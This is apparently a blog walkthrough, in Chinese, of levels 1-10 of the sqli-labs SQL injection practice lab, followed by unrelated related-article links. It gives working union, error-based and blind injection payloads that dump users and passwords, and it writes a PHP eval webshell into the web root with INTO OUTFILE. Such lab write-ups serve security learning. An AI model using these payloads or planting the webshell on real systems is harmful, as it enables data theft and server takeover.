00x01基于错误的GET单引号字符型注入

  1. 首先and 1=2判断是否为数值型sql注入,页面正常,不是
  2. 然后’测试,发现页面报sql语句错误,存在字符型sql注入 
  3. 猜测参数为单引号闭合,用注释语句将后面的引号注释掉,先尝试#号,页面还是不正常,再尝试--+,发现页面正常显示,那么可以插入sql语句了 
  4. Order by查询字段数,查出来是3
  5. Union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用; 
  6. 爆当前数据库union select 1,2,database() 
  7. 爆security当中的表,因为回显位有限,因此字段都加上group_concat(),让其显示在一个回显位上,union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security” 
  8. 找到敏感表名users,爆出users中所有的字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=”security”and table_name=”users” 
  9. 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users

00x02基于错误的get数值型

1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入

2.直接插入sql语句,后面查询过程跟第一关相似。

00x03 基于错误的-GET单引号变形字符型注入

1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入

2.sql查询爆数据详细见第一关。

00x04基于错误的GET双引号字符型注入

1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“)--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入

2.后面操作详见第一关。

00x05 双注入GET单引号字符型注入

  1. 当输入?id=3时发现没有显示位,?id=-3也没有 
  2. 因此无法使用联合查询注入
  3. 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。
  4. 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入

三种报错注入常用的语句:

(1)通过floor报错:

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为想要插入的sql语句

该语句将输出字符长度限制为64个字符;

(2)通过updatexml报错

and updatexml(1,payload,1)

该语句的输出长度限制为32位,

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;

(3)通过ExtractValue报错

and extractvalue(1, payload)

and extractvalue(1, concat(0x7e,payload,0x7e))

输出字符长度限制为32位

6.这里我们使用第一种floor报错语句进行sql注入

?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分

7.查询所有数据库时

?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

7.运用limit 一个一个的输出

?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示

00x06 双注入GET双引号字符型注入

与第5关类似,只不过这一关使用的是  ""的方式闭合字符串

我们只需要将?id=2' 改为 ?id=2"即可

其余过程不再赘述,请参考第五关

00x07 导出文件GET字符型注入

1. 当我们输入?id=1'页面报错,说明可能存在单引号闭合注入

2. 当我们输入?id=1' --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常

3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限

into outfile命令使用的环境:

我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

4.取mysql的目录E:\phpStudy\PHPTutorial\MySQL\data,然后使用

union select 1,2,3 into outfile "E:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"尝试写入文件

文件写入成功

需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中

?id=-3'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

上传成功

6.连接菜刀

7.不能写入的话进入mysql命令行,show variables like '%secure%';查看当前的secure-file-priv 是什么值,我们把导入的路径改为上面的值就可以了

或者将my.ini中的secure-file-priv的值改为’’.

00x08 布尔型单引号GET盲注

1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入

2.页面没有显示位,没有数据库报错信息。

我们先尝试一下是否有file权限

http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+

上传成功

当然我尝试下了下布尔和时间盲注,都是可以的

3.盲注涉及函数:

length(str):返回字符串str的长度

substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的

mid(str,pos,len):和substr()类似

ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)

ord():同上,返回acsii码

left(str,len):对字符串str左截取len长度

right(str,len):对字符串str右截取len长度

if(a,b,c):条件判断,如果a为true,返回b,否则返回c

4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑

00x09 基于时间的GET单引号盲注

1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....

2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:

and if((ascii(substr(database(),1,1)))>114,sleep(5),0)

这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。

3.判断时间型盲注语句:’ and sleep(5)%23

这里用到的是?id=1’ and sleep(5)--+

F12看网络缓存时间,超过5秒就存在时间型盲注

00x10 基于时间的双引号盲注

1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。

sqli-labs1-10基础掌握的更多相关文章

  1. spring boot(10) 基础学习内容

    A Spring boot(10) 基础学习内容 B SpringBoot(16) 基础学习内容

  2. 数据结构和算法(Golang实现)(10)基础知识-算法复杂度主方法

    算法复杂度主方法 有时候,我们要评估一个算法的复杂度,但是算法被分散为几个递归的子问题,这样评估起来很难,有一个数学公式可以很快地评估出来. 一.复杂度主方法 主方法,也可以叫主定理.对于那些用分治法 ...

  3. OpenShift-OKD3.10基础环境部署

    单master + 双node 1.主机角色划分 #采用双网段部署 0 网段是opesnshift内部通信IP,1 网段是连接外网通信地址 #master master.example.com 192 ...

  4. python+java蓝桥杯ACM日常算法题训练(一)10基础题

    目录 1.简单的a+b 2.第一个HelloWorld程序! 3.三个数最大值 4.密码破译 5.母牛的故事 6.7.8.9.10 @(这里写自定义目录标题) 算法题训练网站:http://www.d ...

  5. 1.10 基础知识——GP3.1 制度化 & GP3.2 收集改进信息

    摘要: GP3.1是要求建立组织级的关于该过程的制度.标准.模版等全套体系,要求覆盖该PA所有的SP和GP.GP3.2 体现的是持续改进,每个过程都应该收集相应的改进信息. 正文: GP3.1 Est ...

  6. 详细了解 Linkerd 2.10 基础功能,一起步入 Service Mesh 微服务架构时代

    Linkerd 提供了许多功能,如:自动 mTLS.自动代理注入.分布式追踪.故障注入.高可用性.HTTP/2 和 gRPC 代理.负载均衡.多集群通信.重试和超时.遥测和监控.流量拆分(金丝雀.蓝/ ...

  7. 自学PYTHON分享 --基础1

    1.python2和python3的区别: 宏观上:python2 与 python3 区别: python2 源码不标准,混乱,重复代码太多, python3 统一 标准,去除重复代码. 2.pyt ...

  8. JAVA核心技术I---JAVA基础知识(常量设计和常量池)

    一:常量---一种不会修改的变量 –Java没有constant关键字 –不能修改,final –不会修改/只读/只要一份,static –方便访问publicJava中的常量 –public sta ...

  9. day 01 python基础

    1.计算机历史 2.python历史 宏观: python2和python3的区别: python2  源码不标准,混乱,重复代码过多 python3  统一标准,去除重复代码 3.python环境 ...

  10. Windows 10 神州网信版

    一.版本介绍:官网链接:http://document.cmgos.com/release_notes/release_notes_V0_H 下载链接:请自行百度Windows 10 神州网信政府版( ...

随机推荐

  1. docker实战部署Javaweb项目

    一.部署环境说明 docker服务版本:version 18.09.0nginx服务版本:version: nginx/1.15.10redis服务版本:version: redis/5.0.3tom ...

  2. centos7配置Logstash同步Mysql数据到Elasticsearch

    Logstash 是开源的服务器端数据处理管道,能够同时从多个来源采集数据,转换数据,然后将数据发送到您最喜欢的“存储库”中.个人认为这款插件是比较稳定,容易配置的使用Logstash之前,我们得明确 ...

  3. mysql数据库技术1——基本的增删查改的sql语句

    1.数据库语言的分类 DDL:数据库定义语言 data Definition language 用于创建.修改.和删除数据库内的数据结构,如: 1:创建和删除数据库(CREATE DATABASE | ...

  4. 「Flink」使用Java lambda表达式实现Flink WordCount

    本篇我们将使用Java语言来实现Flink的单词统计. 代码开发 环境准备 导入Flink 1.9 pom依赖 <dependencies> <dependency> < ...

  5. 【读书笔记】https://source.android.google.cn/devices/bootloader

    https://source.android.google.cn/devices/bootloader 本文主要记录aosp官网关于bootloader的相关资料 Bootloader A bootl ...

  6. 小Z的袜子(hose) HYSBZ - 2038 莫队+分块

    #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef pair<ll,ll>pl ...

  7. XSS跨站测试代码

    '><script>alert(document.cookie)</script>='><script>alert(document.cookie)&l ...

  8. IE浏览器中IFrame被加载两次问题的解决-sunziren

    本文为作者sunziren原创,首发博客园,转载请注明出处. 昨天遇到了一个问题,先上代码. var content = '<iframe src="www.baidu.com&quo ...

  9. MySQL8.0远程连接和用户授权相关设置

    文章目录 1.开启MySQL远程连接 2.关闭MySQL远程连接 3.修改防火墙规则,开放端口 4.创建用户以及给用户授权 5.删除用户及权限 1.开启MySQL远程连接 mysql -u root ...

  10. 纪中21日c组T1 1575. 二叉树

    1575. 二叉树 (File IO): input:tree.in output:tree.out 时间限制: 1000 ms  空间限制: 262144 KB  具体限制   Goto Probl ...